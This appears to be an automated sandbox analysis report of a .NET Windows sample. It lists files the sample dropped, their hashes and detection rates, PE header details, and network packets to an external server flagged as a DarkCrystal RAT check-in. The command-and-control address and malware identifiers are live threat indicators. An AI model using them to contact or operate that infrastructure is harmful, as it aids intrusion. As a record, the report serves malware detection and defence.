Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xZbU6XwH92

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\xqN4tYRC9m

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yBuc1x4qUx

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yPZ5JxF9Yq

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yjJxpx5zfi

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\z0dphZiB0c

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zC9sPoiou0

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zbREhuMMgr

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zxWCXrv94K

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\BRNOuKzz.log

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 69%, Browse
Joe Sandbox View:	Filename: cuAvoExY41.exe, Detection: malicious, Browse Filename: TwfUz3FuO7.exe, Detection: malicious, Browse Filename: 9i0GfIAfU7.exe, Detection: malicious, Browse Filename: i3F8zuP3u9.exe, Detection: malicious, Browse Filename: z3yAH0LL5e.exe, Detection: malicious, Browse Filename: 4ra1Fo2Zql.exe, Detection: malicious, Browse Filename: ugRGgCJhQl.exe, Detection: malicious, Browse Filename: eCGKhYZtgx.exe, Detection: malicious, Browse Filename: czcgyt.exe, Detection: malicious, Browse Filename: trkfmve.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\wWLxmeJG.log

Download File

Process:	C:\Users\user\Desktop\Gez0dmj6yl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 17% Antivirus: Virustotal, Detection: 22%, Browse
Joe Sandbox View:	Filename: cuAvoExY41.exe, Detection: malicious, Browse Filename: TwfUz3FuO7.exe, Detection: malicious, Browse Filename: 9i0GfIAfU7.exe, Detection: malicious, Browse Filename: i3F8zuP3u9.exe, Detection: malicious, Browse Filename: z3yAH0LL5e.exe, Detection: malicious, Browse Filename: 4ra1Fo2Zql.exe, Detection: malicious, Browse Filename: ugRGgCJhQl.exe, Detection: malicious, Browse Filename: eCGKhYZtgx.exe, Detection: malicious, Browse Filename: czcgyt.exe, Detection: malicious, Browse Filename: trkfmve.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.558825315645393
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	Gez0dmj6yl.exe
File size:	690'688 bytes
MD5:	56ec657202aca3ce001ecbe1557b7987
SHA1:	254e0d6617da45b7039986242c0829f899095e63
SHA256:	060bc93649daea8b3b98dc802a87a731160fef81c6c15449bde37288827e1372
SHA512:	0fe0a786eadd938ac8d3ee2942485a7be8d81eeb2c1249bf1e94163539843bcdd3322bf82da4517d0738558edde6a5d9fafa5750e1531c603fef7954924155df
SSDEEP:	12288:vXd19QAjhZ9yMwlKvws96iXPrQfkXmm1RhdLB9XFy+fT6D+:vNFxnhws+E1ZT6D+
TLSH:	8DE4D7102AEB0136F1B7AFB155E2289E86A9F5F3B7179F8E304182C68716784CD91737
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4aa19e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6507AC75 [Mon Sep 18 01:48:37 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xaa144	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xac000	0x370	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xae000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa81a4	0xa8200	d772316a812d522dda69470657d338b7	False	0.41395504182156134	data	5.565936414029238	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xac000	0x370	0x400	2a646c4169e3b32029989f2a26cceaf4	False	0.3779296875	data	2.8646628107101955	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xae000	0xc	0x200	b9af8e8d9c4909602bdb4d17fc46370b	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xac058	0x318	data			0.44823232323232326

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-09-01T23:56:55.310218+0200	TCP	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	49704	80	192.168.2.5	94.158.244.70

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 1, 2024 23:56:54.684133053 CEST	49704	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:54.689032078 CEST	80	49704	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:54.689168930 CEST	49704	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:54.689466953 CEST	49704	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:54.694183111 CEST	80	49704	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:55.045537949 CEST	49704	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:55.050537109 CEST	80	49704	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:55.259975910 CEST	80	49704	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:55.310218096 CEST	49704	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:55.576534986 CEST	80	49704	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:55.576560974 CEST	80	49704	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:55.576719046 CEST	49704	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:55.990487099 CEST	49704	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:55.995357990 CEST	80	49704	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:56.153526068 CEST	80	49704	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:56.153740883 CEST	49704	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:56.158564091 CEST	80	49704	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:56.320400953 CEST	80	49704	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:56.363046885 CEST	49704	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:56.543706894 CEST	49704	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:56.549066067 CEST	80	49704	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:56.549207926 CEST	49704	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:56.559844971 CEST	49705	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:56.564719915 CEST	80	49705	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:56.564847946 CEST	49705	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:56.564954042 CEST	49705	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:56.566109896 CEST	49706	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:56.569709063 CEST	80	49705	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:56.570884943 CEST	80	49706	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:56.570979118 CEST	49706	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:56.571137905 CEST	49706	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:56.575896978 CEST	80	49706	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:56.919648886 CEST	49706	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:56.919648886 CEST	49705	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:56.924570084 CEST	80	49706	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:56.924588919 CEST	80	49705	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:56.924649954 CEST	80	49705	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:57.145049095 CEST	80	49705	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:57.145065069 CEST	80	49706	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:57.200759888 CEST	49706	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:57.200759888 CEST	49705	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:58.222474098 CEST	80	49705	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:58.222574949 CEST	80	49705	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:58.222639084 CEST	49705	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:58.222760916 CEST	80	49706	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:58.222806931 CEST	80	49706	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:58.222841024 CEST	49706	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:58.223769903 CEST	80	49705	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:58.223805904 CEST	49705	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:58.223970890 CEST	80	49706	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:58.224011898 CEST	49706	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:58.422070980 CEST	80	49705	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:58.422126055 CEST	49705	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:58.422517061 CEST	80	49706	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:58.422559977 CEST	49706	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:59.476129055 CEST	49706	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:59.476461887 CEST	49709	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:59.481264114 CEST	80	49709	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:59.481286049 CEST	80	49706	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:59.481331110 CEST	49709	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:59.481375933 CEST	49706	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:59.508122921 CEST	49709	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:59.512931108 CEST	80	49709	94.158.244.70	192.168.2.5
Sep 1, 2024 23:56:59.857124090 CEST	49709	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:56:59.861932039 CEST	80	49709	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:00.073100090 CEST	80	49709	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:00.197923899 CEST	49709	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:00.199413061 CEST	49705	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:00.200484991 CEST	80	49709	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:00.388288975 CEST	49709	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:00.682133913 CEST	49709	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:00.682296038 CEST	49711	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:00.689985037 CEST	80	49711	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:00.689996958 CEST	80	49709	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:00.690068007 CEST	49709	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:00.690073967 CEST	49711	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:00.920274973 CEST	49711	80	192.168.2.5	94.158.244.70
